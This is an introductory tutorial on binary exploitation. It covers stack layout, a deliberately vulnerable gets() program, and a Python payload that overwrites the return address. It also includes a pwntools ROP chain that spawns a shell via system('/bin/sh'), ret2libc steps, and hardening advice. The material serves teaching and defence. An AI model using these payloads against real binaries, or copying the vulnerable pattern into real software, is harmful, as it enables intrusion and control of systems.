Binary exploitation is about abusing bugs in compiled programs to make them do things they were never meant to do. Most of these bugs appear in C and C++, where the programmer manages memory manually. A single off-by-one write or use of an unsafe function can hand an attacker full control of the program.
Common memory bugs include:
- Writing past the end of a buffer (buffer overflow)
- Using memory that has already been freed (use-after-free)
- Reading or using uninitialized memory
Attackers use these bugs to crash programs, read sensitive data, or — most powerfully — redirect control flow so they can execute their own code or escalate privileges.
Even on modern systems with multiple mitigations in place, memory safety bugs in C/C++ remain a leading cause of serious vulnerabilities in operating system kernels, browsers, and network daemons.
Process memory layout
To understand exploitation, you need a mental model of how a running program’s memory is organized.
High addresses
┌──────────────────────┐
│ Kernel space │ (not accessible from user code)
├──────────────────────┤
│ Stack │ grows downward ↓
│ │ function frames, local variables, return addresses
├──────────────────────┤
│ │
│ Heap │ grows upward ↑
│ │ dynamic allocations (malloc, new)
├──────────────────────┤
│ .bss / .data │ global and static variables
├──────────────────────┤
│ .text │ program code (machine instructions)
└──────────────────────┘
Low addresses
- The return address — the instruction to execute when the function returns.
- The saved base pointer (RBP) — used to locate local variables.
- The local variables themselves.
How function calls work
On x86-64 Linux (SysV ABI), a function call follows a predictable pattern:
; Caller
call foo ; pushes return address onto stack, jumps to foo
; Callee prologue
push rbp ; save caller's base pointer
mov rbp, rsp ; set up new base pointer
sub rsp, X ; reserve space for local variables
; Callee epilogue
leave ; mov rsp, rbp; pop rbp
ret ; pops return address into RIP
| Register | Role |
|---|
RIP | Instruction pointer — the address of the next instruction to execute |
RSP | Stack pointer — points to the top of the stack |
RBP | Base pointer — fixed reference for accessing local variables |
ret sends the program next — you control RIP.
Stack buffer overflow
A buffer overflow happens when you write more data into a fixed-size buffer than it can hold, and the excess overwrites adjacent memory.
Vulnerable code
The gets() function reads input with no length limit. It is so dangerous that modern compilers emit a warning against using it, and it was removed from the C11 standard. Never use gets().
#include <stdio.h>
void reachMe() {
printf("You reached reachMe()! Here's the flag.\n");
}
void vuln() {
char buf[32]; // 32-byte buffer on the stack
printf("Enter your input:\n");
gets(buf); // reads unlimited input — no bounds checking
printf("You entered: %s\n", buf);
}
int main() {
vuln();
return 0;
}
buf:
- First they overwrite other local variables.
- Then they overwrite the saved
RBP.
- Then they overwrite the saved return address.
By controlling those extra bytes, you can place the address of any function — such as reachMe(), which is never called in normal execution — into the return address slot.
Safe alternative
#include <stdio.h>
void safe() {
char buf[32];
printf("Enter your input:\n");
fgets(buf, sizeof(buf), stdin); // reads at most sizeof(buf)-1 bytes
printf("You entered: %s\n", buf);
}
fgets() accepts a size parameter and will not write past the buffer boundary.
Crafting the exploit
To exploit the overflow you need to know the offset — the exact number of bytes between the start of buf and the saved return address. You find this using a debugger:
$ ./vuln
Enter your input:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
gdb ./vuln
(gdb) run
# feed a pattern, then inspect registers on crash
(gdb) info registers
# if RIP = 0x4141414141414141 (0x41 = 'A'), you've overwritten the return address
offset = 40
reachMe = 0x40116c # found via: nm ./vuln | grep reachMe
payload = b"A" * offset
payload += reachMe.to_bytes(8, "little") # 64-bit little-endian address
vuln() executes ret, it pops 0x40116c into RIP and execution jumps to reachMe().
Modern protections
Operating systems and compilers deploy several mitigations to make exploitation harder.
| Mitigation | What it does |
|---|
| Stack canaries | Place a secret random value (the canary) between local variables and the return address. If the canary is overwritten, the program aborts before the corrupt return address is used. |
| NX / DEP | Marks the stack (and heap) as non-executable. Shellcode placed on the stack cannot run directly. |
| ASLR | Randomizes the base addresses of the stack, heap, and libraries on each run. The attacker cannot predict where a function or gadget lives in memory. |
Return Oriented Programming (ROP)
NX/DEP prevents you from running code you inject onto the stack. ROP is the answer: instead of injecting new code, you reuse small instruction sequences that already exist in the program binary or shared libraries.
Each reused sequence ends with a ret instruction and is called a gadget. By overwriting the stack with a carefully ordered list of gadget addresses, you chain them together into a program of your own.
Useful gadgets to look for on x86-64:
pop rdi; ret — loads the value at the top of the stack into rdi (the first function argument)pop rsi; ret — second argumentpop rdx; ret — third argument
Find gadgets with ROPGadget:
ROPgadget --binary ./vuln | grep "pop rdi; ret"
ROP chain example
To call system("/bin/sh") without injecting any new code:
Stack layout (high → low):
┌──────────────────────────┐
│ address of pop_rdi; ret │ ← overwritten return address
│ address of "/bin/sh" │ ← popped into rdi
│ address of system() │ ← jumped to via ret
└──────────────────────────┘
from pwn import *
context.binary = "./vuln"
elf = context.binary
offset = 40
pop_rdi_ret = 0x401234 # found with ROPgadget
bin_sh_addr = 0x404060 # address of the string "/bin/sh" in memory
system_addr = elf.plt["system"]
payload = b"A" * offset
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
p = process(elf.path)
p.sendline(payload)
p.interactive()
ret2libc
ret2libc is a specific ROP technique that calls functions from the C standard library (libc) — such as system, execve, or printf — rather than arbitrary shellcode. Because libc is always mapped into process memory, its functions are always available.
When ASLR is enabled, you must first leak a libc address at runtime to determine where libc is loaded, then compute the offset to system and the string "/bin/sh" from that base.
Basic steps:
- Leak a libc address — for example, by calling
puts() on a GOT entry that holds a libc function pointer.
- Calculate libc base — subtract the known offset of the leaked symbol from the leaked address.
- Compute target addresses —
libc_base + offset_of_system, libc_base + offset_of_bin_sh.
- Build and send the ROP chain:
"A" * offset
+ pop_rdi; ret
+ address_of "/bin/sh" in libc
+ address_of system() in libc
Mitigations summary
No single mitigation is sufficient. Stack canaries stop naive overflows, NX stops injected shellcode, and ASLR defeats hardcoded addresses. But ROP bypasses NX, and information leaks bypass ASLR. Defense in depth — combining all three plus safe coding practices — significantly raises the cost of a successful exploit.
- Replace
gets() with fgets(), scanf("%s") with scanf("%31s"), and strcpy() with strncpy() or safer equivalents.
- Consider writing new systems code in memory-safe languages (Rust, Go) where the runtime enforces bounds checking automatically.
- Use compiler flags like
-fstack-protector-strong, -D_FORTIFY_SOURCE=2, and enable PIE (-fPIE -pie) for ASLR support.